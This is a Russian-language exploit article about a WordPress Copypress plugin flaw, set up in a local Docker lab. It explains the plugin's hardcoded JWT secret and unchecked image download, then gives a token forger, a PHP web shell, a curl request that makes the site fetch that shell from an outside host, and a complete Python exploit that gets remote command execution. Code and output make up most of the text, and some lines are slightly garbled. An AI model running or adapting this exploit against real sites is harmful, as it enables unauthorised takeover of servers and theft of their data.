Статья Способ взломать WP. Загружаем веб-шелл через плагин Copypress

public function __construct() {

// Use a secret key from wp-config.php if defined

$this->secret_key = defined('COPYREAP_JWT_SECRET_KEY') ? COPYREAP_JWT_SECRET_KEY : '826657a98e396172f8aed51d110d529d';

}

if ( ! filter_var( $image_url, FILTER_VALIDATE_URL ) ) {
    return new WP_Error( 'invalid_image_url', 'Provided image URL is invalid.' );
}

$image_data = file_get_contents( $image_url );
if ( ! $image_data ) {
    return new WP_Error( 'image_download_failed', 'Failed to download image.' );
}

$filename = basename( $image_url );
$upload_dir = wp_upload_dir();
$upload_path = $upload_dir['path'] . '/' . $filename;
file_put_contents( $upload_path, $image_data );

version: '3.9'

services:
  wordpress:
    image: wordpress:latest
    container_name: wp
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - ./wp_data:/var/www/html

  db:
    image: mysql:5.7
    container_name: wp_db
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - ./db_data:/var/lib/mysql

$ sudo docker exec wp cat /var/www/html/.htaccess
# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
# END WordPress

docker exec wp bash -c 'echo -e "# BEGIN WordPress\nSetEnvIf Authorization "\(.*\)" HTTP_AUTHORIZATION=\$1\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress" > /var/www/html/.htaccess'

$ sudo docker exec wp cat /var/www/html/.htaccess
# BEGIN WordPress
SetEnvIf Authorization (.*) HTTP_AUTHORIZATION=$1
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
IfModule>
# END WordPress

public function copyreap_generate_token($user) {
    $issued_at = time();
    $expiration_time = $issued_at + 7200; // Token expires in 2 hour
    $header = json_encode(['typ' => 'JWT', 'alg' => 'HS256']);
    $payload = json_encode([
        'iss' => get_bloginfo('url'),
        'iat' => $issued_at,
        'exp' => $expiration_time,
        'data' => [
            'user_id' => $user->ID,
            'username' => $user->user_login,
            'email' => $user->user_email
        ]
    ]);

    $base64_url_header = $this->copyreap_base64UrlEncode($header);
    $base64_url_payload = $this->copyreap_base64UrlEncode($payload);
    $signature = hash_hmac('sha256', $base64_url_header . '.' . $base64_url_payload, $this->secret_key, true);

    $base64_url_signature = $this->copyreap_base64UrlEncode($signature);

    return $base64_url_header . '.' . $base64_url_payload . '.' . $base64_url_signature;
}

$jwt = new COPYREAP_JWT_Token();
$user_data = $jwt->copyreap_validate_token($token);

if (!$user_data) {
    return new WP_Error('invalid_token', 'Invalid token or expired', ['status' => 403]);
}

wp_set_current_user($user_data['user_id']);

mport jwt
import time

def generate_token(url, user_id, username, email):
    # Секретный ключ из исходников плагина
    secret = '826657a98e396172f8aed51d110d529d'
    issued_at = int(time.time())
    expiration_time = issued_at + 7200

    payload = {
        'iss': url,
        'iat': issued_at,
        'exp': expiration_time,
        'data': {
            'user_id': user_id,
            'username': username,
            'email': email
        }
    }

    token = jwt.encode(payload, secret, algorithm='HS256')
    if isinstance(token, (bytes, bytearray)):
        token = token.decode('utf-8')

    return token

token = generate_token("http://localhost:8080", 1, "admin", "admin@example.com")
print(token)

<?php
    echo system($_GET['cmd']);
?>

<?php
echo system($_GET['cmd']);
* Closing connection
?>

curl -v -X POST "http://localhost:8080/wp-json/copypress-api/v1/posts" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjgwODAiLCJpYXQiOjE3NTk2NzMyNDIsImV4cCI6MTc1OTY4MDQ0MiwiZGF0YSI6eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBleGFtcGxlLmNvbSJ9fQ.gvWVbQ3j_Hvt4qwQNzDIjAjE9leaJ1Cdwpcfkp4Ualw" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "Test Post",
    "content": "Test Content",
    "image": "http://192.168.122.1:8081/shell.php"
  }'

{"message":"Post created successfully","status":200,"data":{"ID":27,"post_author":"1","post_date":"2025-10-06 12:24:01","post_date_gmt":"0000-00-00 00:00:00","post_content":"Test Content","post_title":"Test Post","post_excerpt":"","post_status":"draft","comment_status":"open","ping_status":"open","post_password":"","post_name":"","to_ping":"","pinged":"","post_modified":"2025-10-06 12:24:01","post_modified_gmt":"0000-00-00 00:00:00","post_content_filtered":"","post_parent":0,"guid":"http:\/\/localhost:8080\/?p=27","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}}

$ docker exec wp curl -I --max-time 5 "http://192.168.56.1:8081/shell.php"
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload Upload   Total   Spent    Left  Speed
0 0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.12.2
Date: Mon, 06 Oct 2025 12:36:47 GMT
Content-type: application/octet-stream
Content-Length: 41
Last-Modified: Mon, 06 Oct 2025 09:14:59 GMT

import argparse
import requests
from datetime import datetime
from urllib.parse import urlparse, unquote
import os

def main():
    parser = argparse.ArgumentParser(description="WordPress Copypress RCE Exploit")
    parser.add_argument("--url", required=True, help="Site URL, e.g., http://localhost:8080")
    parser.add_argument("--shell", required=True, help="Shell URL, e.g., http://192.168.100.1:8081/shell.php")
    parser.add_argument("--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("--id", type=int, default=1, help="User ID (default: 1)")
    parser.add_argument("--login", default="admin", help="Username (default: admin)")
    parser.add_argument("--email", default="admin@example.com", help="Email (default: admin@example.com)")

    args = parser.parse_args()
    token = generate_token(args.url, args.id, args.login, args.email)
    print(f"JWT Token: {token}")
    exploit(args.url, token, args.shell, args.cmd)

if name == "main":
    main()
В функции эксплуатации тебе нужно подготовить и выполнить два запроса. Первый — атакующий запрос с загрузкой шелла. Если WordPress ответил Post created successfully, выполни команду эксплуатации, чтобы получить PoC:

def exploit(url, token, shell_url, cmd):
    # Endpoing api copypress
    attack_url = f"{url}/wp-json/copypress-api/v1/posts"
    # Заголовок авторизации и тип контента
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }
    # Тестовые данные для поста и адрес шелла
    data = {
        "title": "Test Post",
        "content": "Test Content",
        "image": shell_url
    }

    response = requests.post(attack_url, headers=headers, json=data)
    print(f"Post creation status code: {response.status_code}")

    # Если пост успешно создан
    if response.status_code == 200 and "Post created successfully" in response.text:
        # WP кладет файл не просто в uploads, а в uploads/yyyy/mm/
        now = datetime.now()
        year = now.strftime("%Y")
        month = now.strftime("%m")
        # Выделение имени файла с шеллом
        shell_name = shell_filename_from_url(shell_url)
        if not shell_name:
            print("Invalid shell URL provided.")
            return

        shell_path = f"{url}/wp-content/uploads/{year}/{month}/{shell_name}?cmd={cmd}"

        print(f"Attempting RCE at: {shell_path}")
        rce_response = requests.get(shell_path)

        # Эксплоит успешно отработал, выводим результат
        if rce_response.status_code == 200:
            print(f"RCE response:\n{rce_response.text}")
        # Что-то пошло не так, стоит проверить доступность файла с шеллом
        else:
            print(f"RCE request failed with status code: {rce_response.status_code}")
    # Не удалось создать пост, вероятно, CVE отсутствует
    else:
        print("Post creation failed")

def shell_filename_from_url(shell_url):
    parsed = urlparse(shell_url)
    # Путь без query/fragment
    path = parsed.path
    if not path:
        return ''

    # Basename и декодирование %-последовательностей
    name = os.path.basename(path)
    return unquote(name)